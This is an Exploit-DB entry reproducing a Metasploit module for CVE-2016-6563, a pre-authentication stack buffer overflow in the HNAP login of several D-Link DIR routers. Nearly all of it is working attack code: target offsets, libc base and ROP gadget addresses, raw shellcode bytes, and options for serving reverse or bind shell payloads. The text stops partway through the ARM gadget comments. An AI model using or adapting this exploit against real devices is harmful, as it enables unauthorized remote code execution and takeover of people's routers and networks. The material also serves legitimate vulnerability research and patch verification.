Exploit-DB #40805
Description: D-Link DIR-Series Routers - HNAP Login Stack Buffer Overflow (Metasploit)
Type: remote
Platform: multiple
Date: 2016-11-21
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

# Payload working status:
# MIPS:
#   - all valid payloads working (the ones that we are able to send without null bytes)
# ARM:
#  - inline rev/bind shell works (bind... meh sometimes)
#  - stager rev/bind shell FAIL
#  - mettle rev/bind fails with sigsegv standalone, but works under strace or gdb...

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Dlink DIR Routers Unauthenticated HNAP Login Stack Buffer Overflow',
      'Description'    => %q{
        Several Dlink routers contain a pre-authentication stack buffer overflow vulnerability, which
        is exposed on the LAN interface on port 80. This vulnerability affects the HNAP SOAP protocol,
        which accepts arbitrarily long strings into certain XML parameters and then copies them into
        the stack.
        This exploit has been tested on the real devices DIR-818LW and 868L (rev. B), and it was tested
        using emulation on the DIR-822, 823, 880, 885, 890 and 895. Others might be affected, and
        this vulnerability is present in both MIPS and ARM devices.
        The MIPS devices are powered by Lextra RLX processors, which are crippled MIPS cores lacking a
        few load and store instructions. Because of this the payloads have to be sent unencoded, which
        can cause them to fail, although the bind shell seems to work well.
        For the ARM devices, the inline reverse tcp seems to work best.
        Check the reference links to see the vulnerable firmware versions.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['linux'],
      'References'     =>
        [
          ['CVE', '2016-6563'],
          ['US-CERT-VU', '677427'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/dlink-hnap-login.txt'],
          ['URL', 'http://seclists.org/fulldisclosure/2016/Nov/38']
        ],
      'DefaultOptions' => { 'WfsDelay' => 10 },
      'Stance'         => Msf::Exploit::Stance::Aggressive,          # we need this to run in the foreground (ARM target)
      'Targets'        =>
        [
          [ 'Dlink DIR-818 / 822 / 823 / 850 [MIPS]',
            {
              'Offset'         => 3072,
              'LibcBase'       => 0x2aabe000,         # should be the same offset for all firmware versions and all routers
              'Sleep'          => 0x56DF0,            # sleep() offset into libuClibc-0.9.30.3.so
              'FirstGadget'    => 0x4EA1C,            # see comments below for gadget information
              'SecondGadget'   => 0x2468C,
              'ThirdGadget'    => 0x41f3c,
              'PrepShellcode1' => "\x23\xbd\xf3\xc8", # addi  sp,sp,-3128
              'PrepShellcode2' => "\x03\xa0\xf8\x09", # jalr  sp
              'BranchDelay'    => "\x20\x84\xf8\x30", # addi  a0,a0,-2000 (nop)
              'Arch'           => ARCH_MIPSBE,
              'Payload'        =>
                {
                  'BadChars' => "\x00",
                  'EncoderType'     => Msf::Encoder::Type::Raw      # else it will fail with SIGILL, this CPU is crippled
                },
            }
          ],
          [ 'Dlink DIR-868 (rev. B and C) / 880 / 885 / 890 / 895 [ARM]',
            {
              'Offset'         => 1024,
              'LibcBase'       => 0x400DA000,         # we can pick any xyz in 0x40xyz000 (an x of 0/1 works well)
              'System'         => 0x5A270,            # system() offset into libuClibc-0.9.32.1.so
              'FirstGadget'    => 0x18298,            # see comments below for gadget information
              'SecondGadget'   => 0x40CB8,
              'Arch'           => ARCH_ARMLE,
            }
          ],
        ],
      'DisclosureDate'  => 'Nov 7 2016',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('SLEEP', [true, 'Seconds to sleep between requests (ARM only)', '0.5']),
        OptString.new('SRVHOST', [true, 'IP address for the HTTP server (ARM only)', '0.0.0.0']),
        OptString.new('SRVPORT', [true, 'Port for the HTTP server (ARM only)', '3333']),
        OptString.new('SHELL', [true, 'Don\'t change this', '/bin/sh']),
        OptString.new('SHELLARG', [true, 'Don\'t change this', 'sh']),
      ], self.class)
  end

  def check
    begin
      res = send_request_cgi({
        'uri'     => '/HNAP1/',
        'method'  => 'POST',
        'Content-Type' => 'text/xml',
        'headers' => { 'SOAPAction' => 'http://purenetworks.com/HNAP1/Login' }
      })

      if res && res.code == 500
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Safe
  end

  def calc_encode_addr (offset, big_endian = true)
    if big_endian
      [(target['LibcBase'] + offset).to_s(16)].pack('H*')
    else
      [(target['LibcBase'] + offset).to_s(16)].pack('H*').reverse
    end
  end

  def prepare_shellcode_arm (cmd)
    #All these gadgets are from /lib/libuClibc-0.9.32.1.so, which is the library used for all versions of firmware for all ARM routers

    #first_gadget (pops system() address into r3, and second_gadget into PC):
    #.text:00018298                 LDMFD           SP!, {R3,PC}

    #second_gadget (puts the stack pointer into r0 and calls system() at r3):